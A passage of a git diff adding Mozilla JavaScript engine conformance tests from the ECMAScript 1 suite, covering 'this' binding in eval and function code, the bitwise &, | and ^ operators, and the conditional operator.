+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Eval Code";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var o = new MyObject("hello")
+
+ new TestCase( SECTION,
+ "var o = new MyObject('hello'); o.THIS == x",
+ true,
+ o.THIS == o );
+
+var o = MyFunction();
+
+new TestCase( SECTION,
+ "var o = MyFunction(); o == this",
+ true,
+ o == this );
+
+test();
+
+function MyFunction( value ) {
+ return this;
+}
+function MyObject( value ) {
+ this.THIS = this;
+}
diff --git a/js/src/tests/ecma/ExecutionContexts/10.2.3-2.js b/js/src/tests/ecma/ExecutionContexts/10.2.3-2.js
new file mode 100644
index 000000000..389be93cc
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/10.2.3-2.js
@@ -0,0 +1,58 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 10.2.3-2.js
+ ECMA Section: 10.2.3 Function and Anonymous Code
+ Description:
+
+ The scope chain is initialized to contain the activation object followed
+ by the global object. Variable instantiation is performed using the
+ activation by the global object. Variable instantiation is performed using
+ the activation object as the variable object and using property attributes
+ { DontDelete }. The caller provides the this value. If the this value
+ provided by the caller is not an object (including the case where it is
+ null), then the this value is the global object.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "10.2.3-2";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "Function and Anonymous Code";
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+var o = new MyObject("hello");
+
+new TestCase( SECTION,
+ "MyFunction(\"PASSED!\")",
+ "PASSED!",
+ MyFunction("PASSED!") );
+
+var o = MyFunction();
+
+new TestCase( SECTION,
+ "MyOtherFunction(true);",
+ false,
+ MyOtherFunction(true) );
+
+test();
+
+function MyFunction( value ) {
+ var x = value;
+ delete x;
+ return x;
+}
+function MyOtherFunction(value) {
+ var x = value;
+ return delete x;
+}
+function MyObject( value ) {
+ this.THIS = this;
+}
diff --git a/js/src/tests/ecma/ExecutionContexts/browser.js b/js/src/tests/ecma/ExecutionContexts/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/browser.js
diff --git a/js/src/tests/ecma/ExecutionContexts/shell.js b/js/src/tests/ecma/ExecutionContexts/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/ecma/ExecutionContexts/shell.js
diff --git a/js/src/tests/ecma/Expressions/11.1.1.js b/js/src/tests/ecma/Expressions/11.1.1.js
new file mode 100644
index 000000000..f1310ac8b
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.1.1.js
@@ -0,0 +1,103 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.1.1.js
+ ECMA Section: 11.1.1 The this keyword
+ Description:
+
+ The this keyword evaluates to the this value of the execution context.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.1.1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " The this keyword");
+
+var GLOBAL_OBJECT = this.toString();
+
+// this in global code and eval(this) in global code should return the global object.
+
+new TestCase( SECTION,
+ "Global Code: this.toString()",
+ GLOBAL_OBJECT,
+ this.toString() );
+
+new TestCase( SECTION,
+ "Global Code: eval('this.toString()')",
+ GLOBAL_OBJECT,
+ eval('this.toString()') );
+
+// this in anonymous code called as a function should return the global object.
+
+new TestCase( SECTION,
+ "Anonymous Code: var MYFUNC = new Function('return this.toString()'); MYFUNC()",
+ GLOBAL_OBJECT,
+ eval("var MYFUNC = new Function('return this.toString()'); MYFUNC()") );
+
+// eval( this ) in anonymous code called as a function should return that function's activation object
+
+new TestCase( SECTION,
+ "Anonymous Code: var MYFUNC = new Function('return (eval(\"this.toString()\")'); (MYFUNC()).toString()",
+ GLOBAL_OBJECT,
+ eval("var MYFUNC = new Function('return eval(\"this.toString()\")'); (MYFUNC()).toString()") );
+
+// this and eval( this ) in anonymous code called as a constructor should return the object
+
+new TestCase( SECTION,
+ "Anonymous Code: var MYFUNC = new Function('this.THIS = this'); ((new MYFUNC()).THIS).toString()",
+ "[object Object]",
+ eval("var MYFUNC = new Function('this.THIS = this'); ((new MYFUNC()).THIS).toString()") );
+
+new TestCase( SECTION,
+ "Anonymous Code: var MYFUNC = new Function('this.THIS = this'); var FUN1 = new MYFUNC(); FUN1.THIS == FUN1",
+ true,
+ eval("var MYFUNC = new Function('this.THIS = this'); var FUN1 = new MYFUNC(); FUN1.THIS == FUN1") );
+
+new TestCase( SECTION,
+ "Anonymous Code: var MYFUNC = new Function('this.THIS = eval(\"this\")'); ((new MYFUNC().THIS).toString()",
+ "[object Object]",
+ eval("var MYFUNC = new Function('this.THIS = eval(\"this\")'); ((new MYFUNC()).THIS).toString()") );
+
+new TestCase( SECTION,
+ "Anonymous Code: var MYFUNC = new Function('this.THIS = eval(\"this\")'); var FUN1 = new MYFUNC(); FUN1.THIS == FUN1",
+ true,
+ eval("var MYFUNC = new Function('this.THIS = eval(\"this\")'); var FUN1 = new MYFUNC(); FUN1.THIS == FUN1") );
+
+// this and eval(this) in function code called as a function should return the global object.
+new TestCase( SECTION,
+ "Function Code: ReturnThis()",
+ GLOBAL_OBJECT,
+ ReturnThis() );
+
+new TestCase( SECTION,
+ "Function Code: ReturnEvalThis()",
+ GLOBAL_OBJECT,
+ ReturnEvalThis() );
+
+// this and eval(this) in function code called as a contructor should return the object.
+new TestCase( SECTION,
+ "var MYOBJECT = new ReturnThis(); MYOBJECT.toString()",
+ "[object Object]",
+ eval("var MYOBJECT = new ReturnThis(); MYOBJECT.toString()") );
+
+new TestCase( SECTION,
+ "var MYOBJECT = new ReturnEvalThis(); MYOBJECT.toString()",
+ "[object Object]",
+ eval("var MYOBJECT = new ReturnEvalThis(); MYOBJECT.toString()") );
+
+test();
+
+function ReturnThis() {
+ return this.toString();
+}
+
+function ReturnEvalThis() {
+ return( eval("this.toString()") );
+}
diff --git a/js/src/tests/ecma/Expressions/11.10-1.js b/js/src/tests/ecma/Expressions/11.10-1.js
new file mode 100644
index 000000000..a9926f27b
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.10-1.js
@@ -0,0 +1,236 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.10-1.js
+ ECMA Section: 11.10-1 Binary Bitwise Operators: &
+ Description:
+ Semantics
+
+ The production A : A @ B, where @ is one of the bitwise operators in the
+ productions &, ^, | , is evaluated as follows:
+
+ 1. Evaluate A.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate B.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToInt32(Result(2)).
+ 6. Call ToInt32(Result(4)).
+ 7. Apply the bitwise operator @ to Result(5) and Result(6). The result is
+ a signed 32 bit integer.
+ 8. Return Result(7).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.10-1";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Binary Bitwise Operators: &");
+
+var shiftexp = 0;
+var addexp = 0;
+
+// for ( shiftpow = 0; shiftpow < 33; shiftpow++ ) {
+for ( shiftpow = 0; shiftpow < 1; shiftpow++ ) {
+ shiftexp += Math.pow( 2, shiftpow );
+
+ for ( addpow = 0; addpow < 33; addpow++ ) {
+ addexp += Math.pow(2, addpow);
+
+ new TestCase( SECTION,
+ shiftexp + " & " + addexp,
+ And( shiftexp, addexp ),
+ shiftexp & addexp );
+ }
+}
+
+test();
+
+function ToInteger( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( n != n ) {
+ return 0;
+ }
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY ) {
+ return n;
+ }
+ return ( sign * Math.floor(Math.abs(n)) );
+}
+function ToInt32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+
+ n = (sign * Math.floor( Math.abs(n) )) % Math.pow(2,32);
+ n = ( n >= Math.pow(2,31) ) ? n - Math.pow(2,32) : n;
+
+ return ( n );
+}
+function ToUint32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+ n = sign * Math.floor( Math.abs(n) )
+
+ n = n % Math.pow(2,32);
+
+ if ( n < 0 ){
+ n += Math.pow(2,32);
+ }
+
+ return ( n );
+}
+function ToUint16( n ) {
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+
+ n = ( sign * Math.floor( Math.abs(n) ) ) % Math.pow(2,16);
+
+ if (n <0) {
+ n += Math.pow(2,16);
+ }
+
+ return ( n );
+}
+function Mask( b, n ) {
+ b = ToUint32BitString( b );
+ b = b.substring( b.length - n );
+ b = ToUint32Decimal( b );
+ return ( b );
+}
+function ToUint32BitString( n ) {
+ var b = "";
+ for ( p = 31; p >=0; p-- ) {
+ if ( n >= Math.pow(2,p) ) {
+ b += "1";
+ n -= Math.pow(2,p);
+ } else {
+ b += "0";
+ }
+ }
+ return b;
+}
+function ToInt32BitString( n ) {
+ var b = "";
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ b += ( sign == 1 ) ? "0" : "1";
+
+ for ( p = 30; p >=0; p-- ) {
+ if ( (sign == 1 ) ? sign * n >= Math.pow(2,p) : sign * n > Math.pow(2,p) ) {
+ b += ( sign == 1 ) ? "1" : "0";
+ n -= sign * Math.pow( 2, p );
+ } else {
+ b += ( sign == 1 ) ? "0" : "1";
+ }
+ }
+
+ return b;
+}
+function ToInt32Decimal( bin ) {
+ var r = 0;
+ var sign;
+
+ if ( Number(bin.charAt(0)) == 0 ) {
+ sign = 1;
+ r = 0;
+ } else {
+ sign = -1;
+ r = -(Math.pow(2,31));
+ }
+
+ for ( var j = 0; j < 31; j++ ) {
+ r += Math.pow( 2, j ) * Number(bin.charAt(31-j));
+ }
+
+ return r;
+}
+function ToUint32Decimal( bin ) {
+ var r = 0;
+
+
+ for ( l = bin.length; l < 32; l++ ) {
+ bin = "0" + bin;
+ }
+
+ for ( j = 0; j < 31; j++ ) {
+ r += Math.pow( 2, j ) * Number(bin.charAt(31-j));
+
+ }
+
+ return r;
+}
+function And( s, a ) {
+ s = ToInt32( s );
+ a = ToInt32( a );
+
+ var bs = ToInt32BitString( s );
+ var ba = ToInt32BitString( a );
+
+ var result = "";
+
+ for ( var bit = 0; bit < bs.length; bit++ ) {
+ if ( bs.charAt(bit) == "1" && ba.charAt(bit) == "1" ) {
+ result += "1";
+ } else {
+ result += "0";
+ }
+ }
+ return ToInt32Decimal(result);
+}
+function Xor( s, a ) {
+ s = ToInt32( s );
+ a = ToInt32( a );
+
+ var bs = ToInt32BitString( s );
+ var ba = ToInt32BitString( a );
+
+ var result = "";
+
+ for ( var bit = 0; bit < bs.length; bit++ ) {
+ if ( (bs.charAt(bit) == "1" && ba.charAt(bit) == "0") ||
+ (bs.charAt(bit) == "0" && ba.charAt(bit) == "1")
+ ) {
+ result += "1";
+ } else {
+ result += "0";
+ }
+ }
+
+ return ToInt32Decimal(result);
+}
+function Or( s, a ) {
+ s = ToInt32( s );
+ a = ToInt32( a );
+
+ var bs = ToInt32BitString( s );
+ var ba = ToInt32BitString( a );
+
+ var result = "";
+
+ for ( var bit = 0; bit < bs.length; bit++ ) {
+ if ( bs.charAt(bit) == "1" || ba.charAt(bit) == "1" ) {
+ result += "1";
+ } else {
+ result += "0";
+ }
+ }
+
+ return ToInt32Decimal(result);
+}
diff --git a/js/src/tests/ecma/Expressions/11.10-2.js b/js/src/tests/ecma/Expressions/11.10-2.js
new file mode 100644
index 000000000..144392f89
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.10-2.js
@@ -0,0 +1,235 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.10-2.js
+ ECMA Section: 11.10-2 Binary Bitwise Operators: |
+ Description:
+ Semantics
+
+ The production A : A @ B, where @ is one of the bitwise operators in the
+ productions &, ^, | , is evaluated as follows:
+
+ 1. Evaluate A.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate B.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToInt32(Result(2)).
+ 6. Call ToInt32(Result(4)).
+ 7. Apply the bitwise operator @ to Result(5) and Result(6). The result is
+ a signed 32 bit integer.
+ 8. Return Result(7).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.10-2";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Binary Bitwise Operators: |");
+
+var shiftexp = 0;
+var addexp = 0;
+
+for ( shiftpow = 0; shiftpow < 33; shiftpow++ ) {
+ shiftexp += Math.pow( 2, shiftpow );
+
+ for ( addpow = 0; addpow < 33; addpow++ ) {
+ addexp += Math.pow(2, addpow);
+
+ new TestCase( SECTION,
+ shiftexp + " | " + addexp,
+ Or( shiftexp, addexp ),
+ shiftexp | addexp );
+ }
+}
+
+test();
+
+function ToInteger( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( n != n ) {
+ return 0;
+ }
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY ) {
+ return n;
+ }
+ return ( sign * Math.floor(Math.abs(n)) );
+}
+function ToInt32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+
+ n = (sign * Math.floor( Math.abs(n) )) % Math.pow(2,32);
+ n = ( n >= Math.pow(2,31) ) ? n - Math.pow(2,32) : n;
+
+ return ( n );
+}
+function ToUint32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+ n = sign * Math.floor( Math.abs(n) )
+
+ n = n % Math.pow(2,32);
+
+ if ( n < 0 ){
+ n += Math.pow(2,32);
+ }
+
+ return ( n );
+}
+function ToUint16( n ) {
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+
+ n = ( sign * Math.floor( Math.abs(n) ) ) % Math.pow(2,16);
+
+ if (n <0) {
+ n += Math.pow(2,16);
+ }
+
+ return ( n );
+}
+function Mask( b, n ) {
+ b = ToUint32BitString( b );
+ b = b.substring( b.length - n );
+ b = ToUint32Decimal( b );
+ return ( b );
+}
+function ToUint32BitString( n ) {
+ var b = "";
+ for ( p = 31; p >=0; p-- ) {
+ if ( n >= Math.pow(2,p) ) {
+ b += "1";
+ n -= Math.pow(2,p);
+ } else {
+ b += "0";
+ }
+ }
+ return b;
+}
+function ToInt32BitString( n ) {
+ var b = "";
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ b += ( sign == 1 ) ? "0" : "1";
+
+ for ( p = 30; p >=0; p-- ) {
+ if ( (sign == 1 ) ? sign * n >= Math.pow(2,p) : sign * n > Math.pow(2,p) ) {
+ b += ( sign == 1 ) ? "1" : "0";
+ n -= sign * Math.pow( 2, p );
+ } else {
+ b += ( sign == 1 ) ? "0" : "1";
+ }
+ }
+
+ return b;
+}
+function ToInt32Decimal( bin ) {
+ var r = 0;
+ var sign;
+
+ if ( Number(bin.charAt(0)) == 0 ) {
+ sign = 1;
+ r = 0;
+ } else {
+ sign = -1;
+ r = -(Math.pow(2,31));
+ }
+
+ for ( var j = 0; j < 31; j++ ) {
+ r += Math.pow( 2, j ) * Number(bin.charAt(31-j));
+ }
+
+ return r;
+}
+function ToUint32Decimal( bin ) {
+ var r = 0;
+
+
+ for ( l = bin.length; l < 32; l++ ) {
+ bin = "0" + bin;
+ }
+
+ for ( j = 0; j < 31; j++ ) {
+ r += Math.pow( 2, j ) * Number(bin.charAt(31-j));
+
+ }
+
+ return r;
+}
+function And( s, a ) {
+ s = ToInt32( s );
+ a = ToInt32( a );
+
+ var bs = ToInt32BitString( s );
+ var ba = ToInt32BitString( a );
+
+ var result = "";
+
+ for ( var bit = 0; bit < bs.length; bit++ ) {
+ if ( bs.charAt(bit) == "1" && ba.charAt(bit) == "1" ) {
+ result += "1";
+ } else {
+ result += "0";
+ }
+ }
+ return ToInt32Decimal(result);
+}
+function Xor( s, a ) {
+ s = ToInt32( s );
+ a = ToInt32( a );
+
+ var bs = ToInt32BitString( s );
+ var ba = ToInt32BitString( a );
+
+ var result = "";
+
+ for ( var bit = 0; bit < bs.length; bit++ ) {
+ if ( (bs.charAt(bit) == "1" && ba.charAt(bit) == "0") ||
+ (bs.charAt(bit) == "0" && ba.charAt(bit) == "1")
+ ) {
+ result += "1";
+ } else {
+ result += "0";
+ }
+ }
+
+ return ToInt32Decimal(result);
+}
+function Or( s, a ) {
+ s = ToInt32( s );
+ a = ToInt32( a );
+
+ var bs = ToInt32BitString( s );
+ var ba = ToInt32BitString( a );
+
+ var result = "";
+
+ for ( var bit = 0; bit < bs.length; bit++ ) {
+ if ( bs.charAt(bit) == "1" || ba.charAt(bit) == "1" ) {
+ result += "1";
+ } else {
+ result += "0";
+ }
+ }
+
+ return ToInt32Decimal(result);
+}
diff --git a/js/src/tests/ecma/Expressions/11.10-3.js b/js/src/tests/ecma/Expressions/11.10-3.js
new file mode 100644
index 000000000..5ebb186a3
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.10-3.js
@@ -0,0 +1,234 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.10-3.js
+ ECMA Section: 11.10-3 Binary Bitwise Operators: ^
+ Description:
+ Semantics
+
+ The production A : A @ B, where @ is one of the bitwise operators in the
+ productions &, ^, | , is evaluated as follows:
+
+ 1. Evaluate A.
+ 2. Call GetValue(Result(1)).
+ 3. Evaluate B.
+ 4. Call GetValue(Result(3)).
+ 5. Call ToInt32(Result(2)).
+ 6. Call ToInt32(Result(4)).
+ 7. Apply the bitwise operator @ to Result(5) and Result(6). The result is
+ a signed 32 bit integer.
+ 8. Return Result(7).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.10-3";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Binary Bitwise Operators: ^");
+
+var shiftexp = 0;
+var addexp = 0;
+
+for ( shiftpow = 0; shiftpow < 33; shiftpow++ ) {
+ shiftexp += Math.pow( 2, shiftpow );
+
+ for ( addpow = 0; addpow < 33; addpow++ ) {
+ addexp += Math.pow(2, addpow);
+
+ new TestCase( SECTION,
+ shiftexp + " ^ " + addexp,
+ Xor( shiftexp, addexp ),
+ shiftexp ^ addexp );
+ }
+}
+
+test();
+
+function ToInteger( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( n != n ) {
+ return 0;
+ }
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY ) {
+ return n;
+ }
+ return ( sign * Math.floor(Math.abs(n)) );
+}
+function ToInt32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+
+ n = (sign * Math.floor( Math.abs(n) )) % Math.pow(2,32);
+ n = ( n >= Math.pow(2,31) ) ? n - Math.pow(2,32) : n;
+
+ return ( n );
+}
+function ToUint32( n ) {
+ n = Number( n );
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+ n = sign * Math.floor( Math.abs(n) )
+
+ n = n % Math.pow(2,32);
+
+ if ( n < 0 ){
+ n += Math.pow(2,32);
+ }
+
+ return ( n );
+}
+function ToUint16( n ) {
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ if ( Math.abs( n ) == 0 || Math.abs( n ) == Number.POSITIVE_INFINITY) {
+ return 0;
+ }
+
+ n = ( sign * Math.floor( Math.abs(n) ) ) % Math.pow(2,16);
+
+ if (n <0) {
+ n += Math.pow(2,16);
+ }
+
+ return ( n );
+}
+function Mask( b, n ) {
+ b = ToUint32BitString( b );
+ b = b.substring( b.length - n );
+ b = ToUint32Decimal( b );
+ return ( b );
+}
+function ToUint32BitString( n ) {
+ var b = "";
+ for ( p = 31; p >=0; p-- ) {
+ if ( n >= Math.pow(2,p) ) {
+ b += "1";
+ n -= Math.pow(2,p);
+ } else {
+ b += "0";
+ }
+ }
+ return b;
+}
+function ToInt32BitString( n ) {
+ var b = "";
+ var sign = ( n < 0 ) ? -1 : 1;
+
+ b += ( sign == 1 ) ? "0" : "1";
+
+ for ( p = 30; p >=0; p-- ) {
+ if ( (sign == 1 ) ? sign * n >= Math.pow(2,p) : sign * n > Math.pow(2,p) ) {
+ b += ( sign == 1 ) ? "1" : "0";
+ n -= sign * Math.pow( 2, p );
+ } else {
+ b += ( sign == 1 ) ? "0" : "1";
+ }
+ }
+
+ return b;
+}
+function ToInt32Decimal( bin ) {
+ var r = 0;
+ var sign;
+
+ if ( Number(bin.charAt(0)) == 0 ) {
+ sign = 1;
+ r = 0;
+ } else {
+ sign = -1;
+ r = -(Math.pow(2,31));
+ }
+
+ for ( var j = 0; j < 31; j++ ) {
+ r += Math.pow( 2, j ) * Number(bin.charAt(31-j));
+ }
+
+ return r;
+}
+function ToUint32Decimal( bin ) {
+ var r = 0;
+
+ for ( l = bin.length; l < 32; l++ ) {
+ bin = "0" + bin;
+ }
+
+ for ( j = 0; j < 31; j++ ) {
+ r += Math.pow( 2, j ) * Number(bin.charAt(31-j));
+
+ }
+
+ return r;
+}
+function And( s, a ) {
+ s = ToInt32( s );
+ a = ToInt32( a );
+
+ var bs = ToInt32BitString( s );
+ var ba = ToInt32BitString( a );
+
+ var result = "";
+
+ for ( var bit = 0; bit < bs.length; bit++ ) {
+ if ( bs.charAt(bit) == "1" && ba.charAt(bit) == "1" ) {
+ result += "1";
+ } else {
+ result += "0";
+ }
+ }
+ return ToInt32Decimal(result);
+}
+function Xor( s, a ) {
+ s = ToInt32( s );
+ a = ToInt32( a );
+
+ var bs = ToInt32BitString( s );
+ var ba = ToInt32BitString( a );
+
+ var result = "";
+
+ for ( var bit = 0; bit < bs.length; bit++ ) {
+ if ( (bs.charAt(bit) == "1" && ba.charAt(bit) == "0") ||
+ (bs.charAt(bit) == "0" && ba.charAt(bit) == "1")
+ ) {
+ result += "1";
+ } else {
+ result += "0";
+ }
+ }
+
+ return ToInt32Decimal(result);
+}
+function Or( s, a ) {
+ s = ToInt32( s );
+ a = ToInt32( a );
+
+ var bs = ToInt32BitString( s );
+ var ba = ToInt32BitString( a );
+
+ var result = "";
+
+ for ( var bit = 0; bit < bs.length; bit++ ) {
+ if ( bs.charAt(bit) == "1" || ba.charAt(bit) == "1" ) {
+ result += "1";
+ } else {
+ result += "0";
+ }
+ }
+
+ return ToInt32Decimal(result);
+}
diff --git a/js/src/tests/ecma/Expressions/11.12-1.js b/js/src/tests/ecma/Expressions/11.12-1.js
new file mode 100644
index 000000000..8c2441208
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.12-1.js
@@ -0,0 +1,76 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.12.js
+ ECMA Section: 11.12 Conditional Operator
+ Description:
+ Logi
+
+ calORExpression ? AssignmentExpression : AssignmentExpression
+
+ Semantics
+
+ The production ConditionalExpression :
+ LogicalORExpression ? AssignmentExpression : AssignmentExpression
+ is evaluated as follows:
+
+ 1. Evaluate LogicalORExpression.
+ 2. Call GetValue(Result(1)).
+ 3. Call ToBoolean(Result(2)).
+ 4. If Result(3) is false, go to step 8.
+ 5. Evaluate the first AssignmentExpression.
+ 6. Call GetValue(Result(5)).
+ 7. Return Result(6).
+ 8. Evaluate the second AssignmentExpression.
+ 9. Call GetValue(Result(8)).
+ 10. Return Result(9).
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+var SECTION = "11.12";
+var VERSION = "ECMA_1";
+startTest();
+
+writeHeaderToLog( SECTION + " Conditional operator( ? : )");
+
+new TestCase( SECTION,
+ "true ? 'PASSED' : 'FAILED'",
+ "PASSED",
+ (true?"PASSED":"FAILED"));
+
+new TestCase( SECTION,
+ "false ? 'FAILED' : 'PASSED'",
+ "PASSED",
+ (false?"FAILED":"PASSED"));
+
+new TestCase( SECTION,
+ "1 ? 'PASSED' : 'FAILED'",
+ "PASSED",
+ (true?"PASSED":"FAILED"));
+
+new TestCase( SECTION,
+ "0 ? 'FAILED' : 'PASSED'",
+ "PASSED",
+ (false?"FAILED":"PASSED"));
+
+new TestCase( SECTION,
+ "-1 ? 'PASSED' : 'FAILED'",
+ "PASSED",
+ (true?"PASSED":"FAILED"));
+
+new TestCase( SECTION,
+ "NaN ? 'FAILED' : 'PASSED'",
+ "PASSED",
+ (Number.NaN?"FAILED":"PASSED"));
+
+new TestCase( SECTION,
+ "var VAR = true ? , : 'FAILED'",
+ "PASSED",
+ (VAR = true ? "PASSED" : "FAILED") );
+
+test();
diff --git a/js/src/tests/ecma/Expressions/11.12-2-n.js b/js/src/tests/ecma/Expressions/11.12-2-n.js
new file mode 100644
index 000000000..f4f22f2aa
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.12-2-n.js
@@ -0,0 +1,40 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.12-2-n.js
+ ECMA Section: 11.12
+ Description:
+
+ The grammar for a ConditionalExpression in ECMAScript is a little bit
+ different from that in C and Java, which each allow the second
+ subexpression to be an Expression but restrict the third expression to
+ be a ConditionalExpression. The motivation for this difference in
+ ECMAScript is to allow an assignment expression to be governed by either
+ arm of a conditional and to eliminate the confusing and fairly useless
+ case of a comma expression as the center expression.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.12-2-n";
+var VERSION = "ECMA_1";
+startTest();
+writeHeaderToLog( SECTION + " Conditional operator ( ? : )");
+
+// the following expression should be an error in JS.
+
+DESCRIPTION = "var MYVAR = true ? 'EXPR1', 'EXPR2' : 'EXPR3'; MYVAR";
+EXPECTED = "error";
+
+new TestCase( SECTION,
+ "var MYVAR = true ? 'EXPR1', 'EXPR2' : 'EXPR3'; MYVAR",
+ "error",
+ eval("var MYVAR = true ? 'EXPR1', 'EXPR2' : 'EXPR3'; MYVAR") );
+
+test();
+
diff --git a/js/src/tests/ecma/Expressions/11.12-3.js b/js/src/tests/ecma/Expressions/11.12-3.js
new file mode 100644
index 000000000..e7c9f6098
--- /dev/null
+++ b/js/src/tests/ecma/Expressions/11.12-3.js
@@ -0,0 +1,37 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 11.12-3.js
+ ECMA Section: 11.12
+ Description:
+
+ The grammar for a ConditionalExpression in ECMAScript is a little bit
+ different from that in C and Java, which each allow the second
+ subexpression to be an Expression but restrict the third expression to
+ be a ConditionalExpression. The motivation for this difference in
+ ECMAScript is to allow an assignment expression to be governed by either
+ arm of a conditional and to eliminate the confusing and fairly useless
+ case of a comma expression as the center expression.
+
+ Author: christine@netscape.com
+ Date: 12 november 1997
+*/
+
+var SECTION = "11.12-3";
+var VERSION = "ECMA_1";
+startTest();
+writeHeaderToLog( SECTION + " Conditional operator ( ? : )");
+
+// the following expression should NOT be an error in JS.
+
+new TestCase( SECTION,
+ "var MYVAR = true ? ('FAIL1', 'PASSED') : 'FAIL2'; MYVAR",
+ "PASSED",
+ eval("var MYVAR = true ? ('FAIL1', 'PASSED') : 'FAIL2'; MYVAR"));
+
+test();
+
